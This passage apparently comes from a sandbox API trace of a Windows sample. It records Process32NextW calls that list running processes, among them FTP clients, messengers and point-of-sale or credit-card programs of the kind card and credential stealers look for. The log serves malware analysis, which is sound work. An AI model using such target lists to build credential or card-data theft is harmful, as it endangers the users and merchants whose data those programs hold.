pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.774] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0088.775] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.776] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0088.776] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0088.777] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0088.778] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0088.778] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.779] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.780] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.780] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.781] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.784] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0088.784] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.785] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.786] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0088.786] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0088.787] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0088.788] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.788] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0088.789] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0088.789] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0088.790] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0088.791] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0088.791] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0088.792] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0088.793] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0088.793] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0088.794] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0088.795] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0088.795] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0088.796] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0088.797] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0088.798] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0088.798] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0088.799] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0088.800] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0088.800] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0088.801] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0088.801] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0088.802] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0090.116] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0090.117] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0090.117] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0090.118] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0090.119] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0090.119] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0090.120] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0090.121] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0090.124] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0090.133] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0090.189] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0090.189] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0090.190] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0090.191] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0090.191] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0090.193] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0090.194] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0090.195] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0090.196] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0090.197] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0090.198] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0090.199] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0090.200] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0090.210] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0090.211] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0090.212] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0090.212] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0090.213] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0090.214] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0090.215] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0090.216] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0090.225] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0090.226] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0090.227] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0090.228] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0090.229] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0090.230] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0090.230] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0090.231] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0091.280] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0091.352] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0091.366] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0091.370] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, 